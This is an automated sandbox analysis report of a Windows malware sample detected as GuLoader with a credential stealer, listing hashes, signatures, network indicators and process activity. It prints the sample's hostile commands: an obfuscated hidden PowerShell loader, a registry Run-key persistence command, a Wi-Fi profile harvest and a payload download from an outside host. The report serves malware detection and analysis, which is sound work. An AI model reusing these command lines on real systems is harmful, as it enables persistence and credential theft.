Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1430487
MD5: afaedf2ff4dc43d62b33b003a1a501ab
SHA1: 9efe783f2dace329faa38ecefe77b6359dab3bd8
SHA256: 1eccc2406bb9358ea0d3290d9b06433732fab544690fbeb65c93a3175ba30422
Infos:

Detection

GuLoader, PXRECVOWEIWOEI Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Sigma detected: Capture Wi-Fi password
Yara detected GuLoader
Yara detected PXRECVOWEIWOEI Stealer
Check if machine is in data center or colocation facility
Obfuscated command line found
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: ImagingDevices Unusual Parent/Child Processes
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Uses netsh to modify the Windows network and firewall settings
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the product ID of Windows
Queries the volume information (name, serial number etc) of a device
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Dosfuscation Activity
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses insecure TLS / SSL version for HTTPS connection
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
Uses 32bit PE files
Source: file.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.71.78:443 -> 192.168.2.16:49705 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.21.71.78:443 -> 192.168.2.16:49709 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.21.71.78:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Pitapats\gimmickry\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Pitapats\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Curan158\
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
May check the online IP address of the machine
Source: unknown DNS query: name: whatismyipaddressnow.co
Source: unknown DNS query: name: whatismyipaddressnow.co
Source: unknown DNS query: name: icanhazip.com
Source: unknown DNS query: name: icanhazip.com
Source: unknown DNS query: name: ip-api.com
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /jAscfKcoNcxeCpbJ57.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: crowninter.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /jAscfKcoNcxeCpbJ57.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: crowninter.comCache-Control: no-cache
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.71.78:443 -> 192.168.2.16:49705 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.21.71.78:443 -> 192.168.2.16:49709 version: TLS 1.0
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /jAscfKcoNcxeCpbJ57.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: crowninter.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jAscfKcoNcxeCpbJ57.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: crowninter.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: crowninter.com
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown HTTPS traffic detected: 104.21.71.78:443 -> 192.168.2.16:49711 version: TLS 1.2
Creates a window with clipboard capturing capabilities
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Window created: window name: CLIPBRDWNDCLASS
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Uses 32bit PE files
Source: file.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Udbygningerne230" /t REG_EXPAND_SZ /d "%Smreplse% -windowstyle minimized $Zayat=(Get-ItemProperty -Path 'HKCU:\Nonfanatical\').Injectors;%Smreplse% ($Zayat)"
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@54/21@5/39
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Roaming\Pitapats
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_03
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6736:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2756:120:WilError_03
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Mutant created: \Sessions\1\BaseNamedObjects\651689
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5528:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\nsvF7C9.tmp
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Udbygningerne230" /t REG_EXPAND_SZ /d "%Smreplse% -windowstyle minimized $Zayat=(Get-ItemProperty -Path 'HKCU:\Nonfanatical\').Injectors;%Smreplse% ($Zayat)"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Udbygningerne230" /t REG_EXPAND_SZ /d "%Smreplse% -windowstyle minimized $Zayat=(Get-ItemProperty -Path 'HKCU:\Nonfanatical\').Injectors;%Smreplse% ($Zayat)"
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Udbygningerne230" /t REG_EXPAND_SZ /d "%Smreplse% -windowstyle minimized $Zayat=(Get-ItemProperty -Path 'HKCU:\Nonfanatical\').Injectors;%Smreplse% ($Zayat)"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Udbygningerne230" /t REG_EXPAND_SZ /d "%Smreplse% -windowstyle minimized $Zayat=(Get-ItemProperty -Path 'HKCU:\Nonfanatical\').Injectors;%Smreplse% ($Zayat)"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: shfolder.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: riched20.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: usp10.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: msls31.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll
